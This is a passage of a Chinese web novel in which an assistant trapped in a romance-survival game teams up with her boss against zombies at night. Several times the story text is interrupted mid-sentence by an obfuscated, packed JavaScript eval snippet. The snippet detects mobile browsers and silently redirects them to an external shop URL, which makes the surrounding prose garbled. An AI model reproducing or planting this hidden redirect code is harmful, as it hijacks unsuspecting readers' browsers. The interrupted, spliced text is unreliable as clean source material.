p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958974|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感度。” 大片文字堆积，一个个犹如扭曲的符号。 黎春日双眼胀痛，她揉揉太阳穴，阅读全程都是一副地铁老人的模样。 快速扫描全文，她精准找出两个重点。搬家，五点好感度。 但再想得到好感度，也得先完成顾敛吩咐的工作。 找到打印机，逐一选择，却在打印份数上犹豫许久。 她给忘了，顾敛当时说的要复印几份来着？ 拍拍停工的脑袋，黎春日凭感觉复印了三份。 完成后，她端着咖啡敲响顾敛的办公室。 “进。” 咖啡一入嘴，顾敛看了眼低头站着的黎春日，咽下再泡一次的吩咐。 算了，将就喝吧，好歹比上一杯强。 接着是复印好的文件，他拿起一看，牛头不对马嘴。份数少也就算了，文件总要复印对吧。 也就两件事，怎么能每个都出岔子。 纸页轻飘飘落在桌子上，顾敛平静的语气下，是其压抑克制的怒气：“黎春日，这是你复印好的文件？” 面前的人低垂着头，默不吭声。 “睡觉，动歪心思，不认真工作。每天搞花里胡哨的，你到底想不想干了。” “不说那么多废话，你能干就干，不能干就走人。” 见她没有反应，顾敛眼中的不耐更甚，他敲敲桌子：“黎春日，你听见没有。” 办公室内寂静无声，荒唐的猜想涌入脑海，随即又被顾敛否定。 不可能，从她进来也就不到五分钟的时间，再怎么离谱也不会站着睡着的。 话虽如此，顾敛还是带着怀疑起身探查。 一步之遥时，前方传来绵长均匀的呼吸声，单靠听力就能判断出这是睡着的表现。 “哈”，顾敛气笑了，他这个助理可真是带来不少惊喜。 解开扣子，轻甩西装下摆。他双腿交叠靠在老板椅里，目光紧盯黎春日。黑沉的瞳孔暗不透光，掩盖了他内心深处的想法。 食指敲击桌子的速度由快到慢，见人有清醒的迹象，顾敛双眼微眯。 浅浅睡一觉后，精神好多了的黎春日抬头就见顾敛面无表情地盯着她。 多年职场生存，她早已练就察言观色的本领。 意识到事情败露，黎春日迅速施展职场生涯教会她的第二招。 光速认错。 她表情诚恳，声音洪亮：“顾总，我错了，请给我一次改过自新的机会吧。” “机会暂且不提”，顾敛微微抬眸：“我想知道你昨天晚上干什么去了。” 小心翼翼观察他的表情，黎春日试探说道：“末日，生存？” 顾敛眉头一皱：“打游戏？” 黎春日内心腹诽，可不就是打游戏吗。但看出顾敛面上的排斥，她将说法稍微包装了一下。 “不不不，是我晚上做的噩梦。梦里有丧尸，还有任务，跑了一个晚上不带停的。一睁眼就觉得精神疲惫，浑身哪哪都难受。” 由于这些都是事实，黎春日讲述得非常真情实感，顾敛怀疑的目光渐渐褪去。 “没有下次，出去吧。” 离开办公室，接下来的工作黎春日打起精神，认真完成。 五点好感度得手，也到了下班时间。回到家，她往床上一躺，蒙头就睡。 时间来到晚上12点，钟声响后，游戏紧跟着发布任务。 “生存任务四：末日之中，单打独斗是最不明智的选择。请玩家找到新的伙伴，完成任务奖励一点好感度。” 8. 第 8 章 伙伴？这个世界居然还有晚上不变丧尸的人？ 黎春日摩挲着下巴，陷入沉思状态。 还是说，对方和她一样，都是被困在游戏里出不去？ 双眼一亮，她顿时来了精神。这任务好啊，在孤独的异世界，有个同伙总比自己单打独斗强。 稳住想要尽快完成任务的心情，黎春日细心制定计划。 首先要确定对方的大概范围，毕竟世界这么大，盲目寻找不可取。 既然是老乡，按照游戏任务的流程，他肯定也住在唯恋花园。 黑色笔尖圈出地图上唯一完好的建筑物，范围缩小，但黎春日并不满意。 唯恋花园有几十栋楼，真要一个个找，她猴年马月才能完成任务啊。 笔杆在手指间翻转，一圈一圈，速度越来越快。 啪地一声，黎春双手撑在桌子上，神情激动。 她想到了。 唯恋花园安保工作到位，每天出入小区的陌生人员和车辆都要详细登记。她只需要去保安室，找到最近几天的来访记录，就能知道老乡具体地址了。 搞定计划，接下来就是实施阶段。 黎春日猫着腰，悄摸下楼，一路小跑到保安室。 狭小空间几乎和夜色融为一体，凭借自带的灯光，她推拉大门，纹丝不动。 果断放弃门口，直奔前方接待用的玻璃窗。 她动作放轻，慢慢拉开透明玻璃。从小窗口望去，入目便是摊开的登记簿。 眼底笑意弥漫，她伸出手，想要将登记册拿出来。 砰，一只呲牙咧嘴的丧尸猛然出现。 那双充满原始攻击性的黑瞳紧紧盯着她，面容脏黑，牙齿锋利，就连嘴巴角落处的血垢都能看得一清二楚。 黎春日瞳孔骤缩，心跳瞬间加速。她双手捂紧嘴巴，掐断刚冒出一个音符的尖叫。 见到猎物，丧尸反应极快，伸手就要抓住面前的人。 说时迟那时快，黎春日下意识后退。污黑尖锐的手指稍慢一步，只抓到满手空气。 心跳快如擂鼓，一下一下地撞击耳膜。她双眼发直，轻拍胸口唤回被吓傻的灵魂。 妈呀，太可怕了。脸贴脸的那刻，她魂儿都要被吓没了。 看着黑黝黝的手臂在空中疯狂抓挠，黎春日乱蹦的心脏渐渐平缓。 丧尸被关在屋子里，就如同没了牙的老虎。只要她不作死往前凑，目前还是很安全的。 冷静下来，理智回归。她左看右看，思考要怎么安全地把登记簿给拿出来。 大门紧紧锁着，丧尸出不来，她也进不去。 所以，黎春日停下脚步，定定看着巴掌大的窗口，只能从这里下手了。 可丧尸牢牢占据玻璃口的位置，疯狂挥舞，一副不抓住点什么就不罢休的姿态。 忽然，计上心头。黎春日四处游走，寻找符合心意的东西。 不远处，一根细瘦的，深褐色的长条物静静躺在地上。 拾起小臂长短的树枝敲敲手心，她满意点头，韧性不错。 带着武器重回现场，黎春日迈出了六亲不认的步伐。 她估摸好距离，拿起树枝对准手背，戳一下。 大黑手反应灵敏，瞬间掉转方向展开追捕。 逗弄的快感涌上心头，黎春日兴趣大增。 “嘿嘿”，她左戳一下，右点几下，将大黑手玩弄于股掌之间。 几巡过后，大黑手被彻底激怒。当手背再次传来冰凉坚硬的触感，它一个用力，反手紧紧拽住树枝。 看着缩回窗口的手臂，黎春日摇头感慨：“啧啧，怎么还来劲了。” 正打算再找时，咻地一声，有什么东西从漆黑的窗口里飞身而出。 目光跟着空中的抛物线落在地上，只见那根细瘦树枝一分为二，残体孤零零地躺在地上。 眉头微挑，看着两根长短不一的树枝，黎春日来了灵感。 她弯腰在草丛里一阵扒拉，起身时，手里掂量着两根粗壮有力，长短相似的树枝。 左右肩一边一根，如同扛了两把双木仓。她雄赳赳气昂昂地回到战场，脸上带着必胜的信心。 和她斗，哼，不自量力。 胳膊夹好树枝固定方向，她一边猛戳大黑手，一边用树枝慢慢扒拉登记簿。 但她高估了左右手的配合度，要么戳的速度太慢，要么扒拉的力道太大。总之，事情进展没有想象中的顺利。 办法总比困难多，她转变思路。 先一阵猛戳大黑手，逼迫丧尸缩回窗口。接着，用另外一根树枝往外扒拉登记簿。 右手戳戳，左手扒扒。配合紧密，就是有点费手。 在她不懈努力下，啪嗒一声，登记簿终于逃离苦海。 只见白天还崭新的纸张，如今布满黑暗侵蚀的痕迹。 翻阅这几天的日期，连续几张，A4纸大小的页面都写得满满当当。 黎春日瞪大双眼，左右脸赫然写着不可置信四个字。 这来的人也太多了吧，先不说能不能找到，光是爬楼都能把她腿累断。 手里拿着千辛万苦得来的东西，她却觉得刚刚所做的一切都成了笑话。 揉揉气疼的脑壳，黎春日不死心，再次翻开登记簿。 一页页翻过，登记簿逐渐见底，一张和来访登记不同的字样跃入视线。 看着夹在后面，写有最近入住的表单。黎春日双拳紧握，激动万分，幸好她没放弃。 表单总共有三行，第一位是她的名字。而剩下二，三行的入住人都被画花涂黑了。 不过问题不大，没有名字还有入住的房间号。总共就两间，她很快就能找完。 连忙用手机拍照存档，1栋1806，3栋1901。 黎春日嘴角抽搐，上面是有金子吗，怎么一个个的都住那么高。 吐槽也改变不了事实，她将登记册扔回保安室，对着还在扑腾的丧尸摆摆手。 “走了。” 大黑手还在坚持不懈地努力挥舞，仿佛在回应她说的话，摇手再见。 第一个目的地是1栋1806，她眉头微皱，总觉得这个地址有些熟悉。 人类的大脑无比神奇，明明对某件事颇有印象。可当她努力回忆时，却怎么都想不起来。 黎春日果断放弃折磨自己，反正到地方就知道了。 现在更重要的是，她爬上18楼后还能不能喘气。 望向没有尽头的台阶，她保存体力，匀速行驶。 五层一停，三层一歇。走到最后，心脏剧烈跳动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958975|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。双腿犹如灌了铅，沉重到抬不起来。 休息时间，她的脑海中只有一个念头。 请各路神仙保佑，老乡一定要住在1806，因为她不知道还有没有命再去爬个19楼。 汗水顺着脸颊滴落，终于，她踏上万里长征的最后一个台阶。 咚咚咚，黎春日累到不想说话。她倚靠在墙上，有气无力地敲响1806的大门。 等了半天，无人回应。 啪啪，黎春日一下一下拍着门，整个人笼罩在惊恐无助之中。 苍天啊，她真的没有力气再爬19楼了。 忽然，大门毫无预兆地打开，贴在门上的黎春日丝滑向前倒去。 她双眼紧闭，已经准备好迎接冰凉坚硬的地板了。 然而预想中的情况没有出现，一个温暖宽阔的怀抱稳稳接住了她，同时游戏弹出任务完成的提醒。 没有摔个狗吃屎她很开心，但更开心的，是她跋山涉水，终于找到了老乡。 抬头望去，男人的全貌映入眼底。黎春日表情凝固，笑容瞬间消失。 “怎么是你。” 老乡成了顾敛，同伙突变领导，这游戏给她留条活路吧！ 眼底残留着睡意，但顾敛的攻击力蹭蹭上涨：“呵，装什么，你会不知道我住这？” 对上男人冷峻的目光，记忆瞬间打通任督二脉，刚刚没想起来的熟悉感终于有了解释。 这个地址她下午才来过，可不就是眼熟吗。 看到顾敛一副你果然别有居心的表情，黎春日无力扶额：“……你听我解释。” “额，我昨晚做噩梦没睡好，所以今天不在状态，才没记住你的地……” 顾敛抬手打断她听起来就不合理的解释：“你被开除了。” “等，等一下，我说的都是实话”，黎春日硬生生挤进门缝，用行动阻止即将关闭的大门。 “我对你真的不感兴趣。” 顾敛的目光不为所动，黎春日只想喊冤，到底要怎么做才能让顾敛相信她说的话。 两人纠缠间，走廊上响起黎春日耳熟的声音。她双眼一亮，拉住顾敛使劲往外拽。 “干什么，快松开。” 黎春日充耳不闻，手被甩开就拽衣服，一副不达目的不罢休的架势：“出来，出来你就知道了。” 顾敛被烦的没办法，顺着力道来到走廊。 灯光下，一个个丧尸冒出脑袋。面目狰狞，不约而同朝两人扑了过来。 顾敛下意识要往屋里钻，却被黎春日拉住，向楼梯方向跑去。 这个笨蛋，躲屋里等会跑都跑不掉。 两人躲在安全的楼道里，黎春日扬眉吐气：“你现在相信我对你没意思了吧。” 顾敛还沉浸在刚刚的离奇画面之中，试图用科学的角度解释这一切：“他们是在玩cosplay吗？” 黎春日死鱼眼，语速极快：“对，我们约定好一起cos丧尸，就为了吓你。” 接着，她撇撇嘴，一脸无语：“这怎么可能，大哥，你清醒一点，那些都是货真价实的丧尸。” 说完，她上下打量一眼呆滞的顾敛，怀疑来的后知后觉。 为什么顾敛没有变成丧尸，而且，晚上动静那么大，他真的察觉不到吗？ 9. 第 9 章 虽然游戏任务说他是同伴，但一个有异心的同伴是会背刺的。 黎春日不动声色地后退几步，拉开距离：“丧尸这事你一点都不知道吗？” 顾敛机械摇头，显然还在重塑世界观。他掐掐大腿，嗯，很疼。 所以，这一切都不是梦？ 脚下踉跄几步，他顺着墙面缓缓下滑。手指轻颤，目光茫然而不聚焦。 任谁突然得知生活了二十多年的世界居然有如此黑暗绝望的一面，恐怕都难以接受。 眼底迷茫久久未散，顾敛轻声问道：“这到底是怎么回事？” 害怕脆弱的反应不似作假，他应该真不知道夜晚的世界会丧尸化。 而早已明白这只是一款游戏的黎春日善意隐瞒，她双手一摊：“我也不知道。” 毕竟光看见丧尸顾敛都这副模样了，要再知道他只是乙女游戏中的一个纸片人，她真怕顾敛会崩溃。 可黎春日实在好奇，夜晚变化的声音可以用惊天动地来形容，他就从来没听到点什么？ 被迫接受现实，顾敛撑着墙起身。 “我的作息非常规律，晚上十一点半睡觉，早上六点半起床，二十多年来从未有过例外。” 黎春日恍然大悟地点点头：“是这样啊。” 趁他不注意，转身小声嘀咕：“更不对劲了，正常人怎么可能几十年都没有出过一次错，又不是机器。” 然而，背过身的她，和顾敛头上飘出的好感度擦肩而过。 “接下来怎么办”，顾敛整理好衣服，已经恢复到平时的状态。 对于一个成年人来说，快速整理好负面情绪是其必备技能。 这边转个身的功夫，黎春日脸上赫然带着灿烂笑容。正准备张嘴，游戏再次发来任务。 “生存任务五：长夜漫漫，请玩家贴身保护顾敛，直到天亮。完成任务奖励1点好感度。” 笑容顿时垮掉，贴身保护？她是找了个同伴还是找了个祖宗啊。 而且游戏，你不觉得她才是那个需要被保护的弱女子吗？ 胳膊拧不过大腿，她也干不过游戏，只能捏着鼻子接受任务。 “之后的行动就是四处逃窜，远离丧尸。” 顾敛真诚发问：“躲起来不行吗？” “不行”，黎春日摇摇头。 她尝试过一直躲在屋子里，但之后，一波接一波的丧尸围困撞击，直到她跳窗离开房间才罢休。 顾敛点点头，率先踏上台阶：“那走吧。” 男人下楼的动作敏捷迅速，黎春日只觉得膝盖一痛，双腿打颤。 这才刚上来，就又要下去，那她刚刚吃的苦算什么？ “愣什么，快下来。” 见黎春日脚下生根，一动不动，顾敛不耐催促。 痛苦的目光瞬间化为愤怒，催什么催，她走不动路是因为谁啊。 疲惫加上愤怒，轻易就攻破了人的理智，黎春日恶向胆边生。 她一个箭步冲上去，紧紧抱住顾敛的大腿，坐在地上耍无赖：“我爬18层楼，就为了上来找你。现在已经没力气下楼了，你看着办吧。” 事情发生太突然，顾敛没能躲开，他浑身僵硬：“放手。” “我不”，黎春日抱得更紧：“扛下去，背下去，抱下去你随便选一个吧。我都不介意，反正只要能把我运下楼就行。” 左腿上的力道宽松却也牢固，顾敛肌肉紧绷，浑身上下都不自在：“你先放手。” “我不，除非你答应把我运下去，”黎春日态度坚定，牢牢不松。 顾敛咬牙切齿，一字一句道：“我运，行了吧。” “呀呼”，黎春日利索起身，拍拍屁股，满眼期待地看向他。 心情不爽，顾敛瞥了她一眼，猛然弯腰将黎春日扛在肩上。 他大步冲下楼，就连头顶冒出的好感度都被远远甩在身后。 可惜，倒栽葱姿势的黎春日再次错过。她伸直胳膊，反手拍拍男人肩膀：“慢～点儿～。” 由于顾敛恶意颠簸，黎春日喜获波浪音限时体验卡。 下楼比上楼省劲，就算肩上扛了个人，顾敛依旧轻轻松松。 双脚着地，黎春日一手扶着充血眩晕的脑袋，一手按着翻涌疼痛的胃部，哪哪都不舒坦。 她怀疑顾敛故意报复，且证据充足。 眼中分散的人影还没合并，就被其中一个人影拉住奔跑。 黎春日踉踉跄跄地跟在他身后，扭头一看，眼珠子都要瞪出来了。 一大群丧尸张牙舞爪，坡着脚跟在后面。 他们是捅丧尸窝了吗，怎么这么多。 顿时，她头也不晕了，胃也不难受了。自发加快速度，和顾敛齐肩奔跑。 人类正常走路就是丧尸的行动速度，本以为很快就能摆脱他们，但两人跑了十来分钟，身后的丧尸数量丝毫没有减少。 黎春日喘得跟个破风箱似的，跑步速度略有下降。 她郁闷回头，丧尸今晚打兴奋剂了？一个个的，都追这么紧。 一旁，顾敛的呼吸声也稍显急促。 他先是扛人连下十八楼，气还没喘匀，又被一群丧尸持续追击，就是再好的体力也吃不消了。 现如今的状况使他联想到黎春日曾说过的话：“这就是，你说的，噩梦？” “没错”，要不是现在在逃命，黎春日真想拉着他吐槽一番，诉说这些日子的不容易。 短暂交流间，两人没注意周遭路段情况，丝滑钻进四通八达的老巷子里。 夜色漆黑，水泥墙高大结实，再加上道路坑坑洼洼，两人状况频出。 黎春日刚走两步就摔了个屁股墩，身侧的顾敛想拉她起来，却被石头绊倒，直接在地上翻了个跟斗。 眼见丧尸追到巷子口，顾敛二话不说，捞起黎春日就跑。 然而，还没跑起来，脚下就踩了刹车。 “咋了”，黎春日稀里糊涂地站稳，抬头一瞅，顿时傻眼。 好家伙，这是条死路啊。 高大的墙壁稳稳堵在面前，环绕三方。身后唯一出路，还被丧尸大部队占据得满满当当。 黎春日吐出一口浊气，低头四处寻找趁手的武器。 事到如今，与其坐以待毙，不如率先出击，将主动权掌握在自己手里。 别说，这犄角旮旯里有用的东西还真不少。 易拉罐，塑料袋，硬纸壳，泡沫箱。虽然不太道德，但她由衷感谢每一个乱丢垃圾的人。 收好衣口，防止丧尸抓伤裸露在外的皮肤。黎春日左手拿盾，右手举矛，神情坚毅冲了上去。 她用硬纸壳挡开锋利指甲的攻击，接着，软塌塌的劈叉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958976|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木棍直冲丧尸面门。 污黑黢脏的脑袋躲都不躲，绵软木棍直接劈成好几瓣。 说时迟那时快，黎春日顺手一扔，掏出事先塞进衣兜的黑色塑料袋，对着丧尸的脑袋就套了上去。 趁它看不见，反身绕后，抄起两端利索打了个死结。 最后，抬脚踹开，让它滚到旁边自己玩去。 解决一只丧尸，黎春日左看看，右瞅瞅。 诶，都跑哪去了？ 再往后一瞧，大惊失色，她眼珠子都要掉出来了。 你们这些丧尸怎么回事，一般不都是排斥外来户口吗。你们怎么逮着原住民一个劲地抓，难道非把本地人都消灭了才满意。 被包围的顾敛独木难支，他连忙发送救援信号：“快来帮忙。” “来了来了”，黎春日举着硬纸壳，哼哧哼哧地从外往里挖掘顾敛。 由于没有丧尸在意，她获得了极大的发挥空间。 先将体积小的硬纸壳塞进塑料袋，背后突袭，一把套在丧尸头上打个结。 此时它的结局已然明了，和上只一样，都是被无情铁脚踹离战场。 黎春日如法炮制，一连解决好几只丧尸。 直到塑料袋宣布告罄，她才改变作战计划，将硬纸壳套进泡沫箱里行动。 但泡沫箱无法扎口，丧尸不一会就能挣脱束缚，呲牙裂嘴地再次战斗。 没完没了了是吧，黎春日逐渐不耐。 恰好此时，包围圈被打开了突破口，她拽住顾敛就跑。 路过时，还踹了一脚尚未挣脱的丧尸泄愤。 从惊魂小巷中逃离出来，两人累得气喘吁吁，就近找了个隐蔽的地方躲起来。 狭小角落里，模样狼狈的两人肩靠着肩，相视一笑。 好感度+10慢悠悠地出现在顾敛头顶，黎春日眉眼弯弯，暗中竖起了大拇指。 老板大气。 借着整理衣服的动作，她暗搓搓欣赏日渐积累的好感度。 而看见的瞬间，就被那颗散发粉色光芒的爱心惊到了。 好感度没算错吧，之前还是负值，怎么一夜过去就成正值了。 黎春日用力揉揉双眼，手腕上，6点好感度明晃晃的，仿佛在和她招手sayhi。 啊啊啊，她无声尖叫，右手猛拍顾敛肩膀。 “嘶，你干什么“，他侧头望向黎春日，低声询问。 眼睛笑弯成一条缝，黎春日沉浸在好感度正值的喜悦之中：“逃出生天的感觉真是太好了。” 顾敛懒得理她，侧侧身，继续闭目养神。 美滋滋地抚摸左手腕，黎春日后知后觉。怪不得这一路上她总觉得少点什么，原来是惩罚消失了啊。 不过，这好感度怎么突然就正了呢。 正想问客服从哪看好感度记录，一个透明窗口忽然弹了出来，里面赫然记录着好感度的增减变化。 她摸两下爱心，透明窗口消失不见。再摸两下，窗口又弹了出来。 黎春日满眼惊叹，高科技哟。 浏览一行行记录，前面是完成任务的奖励，最后一排是刚刚冒出的好感度变化，这些她都知道。 可倒数二，三行的加50，和减8都是什么时候发生的呢。 黎春日摸着下巴，回忆好感度加减的时间节点她都干了些什么。 10. 第 10 章 加50和减8的时间间隔不超过十分钟，稍稍回想，记忆清晰涌现。 当时，顾敛刚刚得知世界真相。脆弱，愧疚，种种复杂的情感累积在一起，最后增加了50点。 而减8，黎春日嘴角抽搐。不就是让顾敛带她下楼嘛，减一两点意思意思得了，怎么还扣这么多。 况且，她当时还间接救了顾敛一命呢。 要不是她，顾敛早被丧尸围堵在房间了。那可是18楼，跳下去铁定没命。 黎春日对着身旁呲呲牙，哼，小气的男人。 不过，她看着爱心尖角处，那浅浅流动的一小点粉色光芒，眉眼间皆是喜悦之色。 小气就小气吧，好感度是正的就行，她满足地闭眼休息。 黑暗涌动的角落，两人彼此依靠，静静等待时间流逝。 距离六点还有十几分钟时，黎春日伸个懒腰，喊上顾敛回家。 她捶捶疲软的双腿，神色认真：“对了，你这么有钱，能再买个低楼层的房子吗？” 18楼，不管上去还是下来，都挺费劲的。 顾敛看她一眼，抬脚往回走。 虽然他没说话，但黎春日就是知道，他肯定会买的。 毕竟，从减8来看，顾敛也不愿意再扛着她走一遍18楼。 轻笑一声，黎春日快步追了上去：“等等我。” 两人顺着街道返回，背影渐渐融入黑暗之中。 一路上，黎春日叽叽喳喳，尽数分享和夜晚有关的信息。 耳边的声音欢快且充满生命力，顾敛双手插兜，时不时回应两句。 和谐的氛围滋养松懈，无人在意的身后，一道黑影不远不近地跟着两人，没有眼白的黑瞳紧紧盯着前方。 五点五十八分，两人到达唯恋花园楼下。 黎春日还惦记着她的任务，但转念一想。就剩两分钟，应该也不会有什么事了。 放心挥手告别，悠闲地向6号楼出发。没走几米远，她忽然想起顾敛之前说过的话。 脑袋一动，浅浅试探问道：“那个，明天我还是九……” “小心！” 黎春日刚一转身，就见有只丧尸站在顾敛身后。从她的角度来看，那极具威胁性的手指已然贴上前方人脆弱的脖颈。 住手，这可是她的好感度源泉。 心跳骤停，她全力奔跑，想要阻止悲剧的降临。 前方，顾敛刚听开头，就知道她要说些什么。 嘴角微微上扬，像是不想被人发现，随即又恢复到面无表情的模样。 刚准备说话，就听到黎春日撕心裂肺的那句小心。 转过身，死亡近在咫尺，周遭的一切都仿佛陷入了静止。 瞳孔中，一只大手屈指成爪，离他仅有几厘米。 大脑不断发出逃跑信号，身体却不听使唤。 他内心清晰地知道要逃跑，但脚下如同生根一般，只轻微地晃动了几下。 “快躲开。” 黎春日焦急的声音闯入脑海，他双拳紧握，下定决心。 既然脚走不动，那就换种方式躲。 他大胆后仰，放任身体不受控制地下坠。落地后，顾不上身体的疼痛，连忙向旁边翻滚。 砰的一声，丧尸追寻着他的行动轨迹，却扑了个空。 此时，黎春日赶到顾敛身边，对着丧尸的脑袋砰砰爆头。 之前没派上用场的易拉罐发挥余热，虽干瘪空荡，但颇具杀伤力。 铛铛，钟声为这漫长的两分钟画上句号。 黎春日不再管地上的丧尸，她忧心忡忡，连忙跑去关心顾敛的情况。 “你怎么样，有没有受伤。” 瞪大眼睛巡视每一处皮肤，她满脑子都是好感度可不能出事的念头。 毕竟好感度关系到任务，任务关系到她能否回到现实，所以顾敛一定不能有事。 拍打衣服上的尘土，顾敛微微侧身，躲开想要扒他衣服的双手。 他按住黎春日的肩膀，强行帮她转了个身。 “没事，你回去吧，别忘了九点上班。” 一步三回头，黎春日还是放心不下：“真没事吗。” 顾敛面露不耐，轻啧一声。 “OK,OK。没事，没事”，黎春日点点头，一副放心，懂了的表情。 在经历一晚上的摸爬滚打后，回到家首先要做的，就是洗漱。 忙完一切躺在床上，黎春日才有时间点开游戏发送的信息。 刚刚顾敛遇险的时候，游戏接连发了好几条。当时情况危急，她直接给忽略了，现在才想起来。 “叮咚，恭喜玩家好感度达到50以上，现开启勾引任务。” “叮咚，检测到玩家的守护行动，现开启守护值，当前守护值为20。” 黎春日惊坐而起，瞌睡虫都被这两条信息给吓没了。 连忙看向手腕，56点。 哇哦，好感度是坐火箭了吗，涨这么快。 那，这不变相证明之前的任务挺有用的嘛，为什么要突然换掉。 而且，她掖紧被角，一脸地铁老人看手机的表情。 勾引？是正经，能播的任务吗。 “亲亲，请放心，本游戏无色健康，积极向上，没有任何不良引导的内容哦。” 拉倒吧，黎春日撇撇嘴角，光勾引这两个字就不太无色。 “亲亲，攻略任务是根据好感度时刻变化的。” 之前好感度是负值，勾引只会适得其反，所以让玩家通过努力工作来挽回形象。 如今好感度接近60，利用勾引展现个人魅力，更容易让感情升温哦。 黎春日抚掌称赞，自叹不如。 要不说是乙女恋爱攻略游戏呢，连客服都是个知识丰富的隐藏高手。 行，勾引稍后再议，守护值又是什么鬼。 她看着右手腕新出现的缩略长剑，一共划分成五块，最下方的格子里填满了金色流沙。 这下好了，左手一个，右手一个，多对称啊。 黎春日无语地叹口气，攻略游戏而已，怎么老冒出来一堆稀奇古怪的东西。 “亲亲，请努力积攒守护值，更有助于玩家离开游戏哦。” “你就不能说详细点，多打几个字是费手吗？” 客服已读不回。 “唉，人生艰难啊”，黎春日倒在枕头上，生无可恋。 顾敛是冷酷无情的，客服是个打哑谜的。 抓起被子盖过头顶，她还是睡觉吧，反正天大的事也会有办法解决的。 叮铃铃，叮铃铃。 白皙纤细的手臂伸出被子，在床头柜上来回摸索。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958977|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “喂”，手机随意放在枕头上，黎春日眼也不睁，迷迷瞪瞪地出声。 “你今天不用来公司，顾总生病了，需要人贴身照顾，你尽快过去。” 通知完，秘书利索地挂了电话。 黎春日动动眉毛，翻个身继续睡。 几秒后，骤然睁眼，整个人瞬间清醒。 顾敛，生病。 两个词分开没有任何问题，但放在一起就是惊天大事。 分开的时候还好好的，这才几个小时，怎么会突然生病呢。 难道…… 可怕的念头一闪而过，黎春日打字的手都有些抖。 “如果顾敛变成丧尸，我还能回去吗？” “亲亲，玩家将会永远留在这个世界哦^_^。” 心头一颤，黎春日加快洗漱速度，风风火火地跑出门。 白天的电梯可以正常使用，很快，她就站在1806门前。 咚咚咚。 无人回应，她嘴唇紧抿，疯狂压抑脑海中想象的惊恐画面。 过了好一会儿，面前的门才打开。 顾敛眼中闪过一丝惊讶：“怎么是你。” 让秘书找人，没让他找黎春日啊。 面前的男人面色通红，嘴唇苍白，意识清晰，看起来像是发烧的症状。 黎春日心底一松，没好气地说道：“我是你的生活助理，不找我找谁。” 失策了，懊恼的表情一闪而过。 顾敛清清嗓子，声音有些沙哑：“只是发烧而已。” 这话糊弄得了别人，糊弄不了黎春日。 “哦”，翻了个白眼，她自顾自地查看顾敛露出来的皮肤。 随后，指着胳膊肘上方的纱布：“这是什么？” “擦伤“，顾敛面不改色。 虽然有这个可能，但擦伤可不会导致发烧。 面露怀疑，黎春日双手环胸，抬抬下巴：“解开让我看看。” 她的态度和语气过于理直气壮，顾敛轻一挑眉，直勾勾地盯着她：“可以，但你以什么身份来看。” 这就是56点的杀伤力吗，黎春日严肃的表情险些绷不住。 好好地照顾现场，因为这一句话，硬生生变得有些暧昧。 手指紧紧握拳，她开始给自己洗脑。 冷静，他这是为了逃避看伤口才说的，不要多想。 冷静，正正常常地回答，打破这种让人无所适从的氛围。 做好心理建树，黎春日漫不经心地回答。 “你希望我以什么身份来看。” 面上不显，实际她的内心疯狂尖叫。 啊啊啊，她在干什么。直接说助理身份不行吗，为什么要这么回答。 现在好了，气氛更黏糊了。 得到的回复出人意料，顾敛眼中闪过讶异。他刚想张嘴，就被人一把捂住。 “闭嘴”，黎春日咬牙切齿，用下巴点点纱布：“揭开。” 她控制不住自己的嘴，还控制不了顾敛的嘴吗。 明白这事逃不过去，顾敛轻笑一声。视线下滑，眼神示意她松手。 潮热的湿气扑洒在手心，黎春日不动声色地调整姿势，身后的手指微微蜷缩。 顾敛没注意到她的小动作，他侧过身，将受伤的手臂朝外。 “揭吧。” 11. 第 11 章 黎春日想让他自己来，但又怕顾敛再说些有的没的，最终还是认命伸手。 掀开纱布，破皮处丝丝缕缕地渗出透明液体。但周围干净红肿，应该被人仔细清理过。 “是丧尸抓的吗？”，黎春日眉心紧拧，神色紧张。 点点头，见她一副天塌了的表情，顾敛独自坚强。 “我专门用酒精消的毒，而且又没流血，应该不碍事。” 黎春日瞪他一眼，这人烧傻了吧。那可是丧尸，怎么会没事。 目前情况不明，再加上她对丧尸片知之甚少，专业的事还是要问专业人员。 “你等着，我去买点退烧药。” 撂下一句借口，黎春日转身就跑。 顾敛阻止的话还没出声，她人已经消失在房间内。 无奈摇头，顾敛拿起床头柜上的退烧药，一把扔进抽屉最深处。 这边黎春日刚冲出房门，手速飞快，点开客服的对话框。 “滴滴滴，在？顾敛还有救吗？” “……亲亲，他是被抓伤，又不是被咬了，当然还有救啊。” 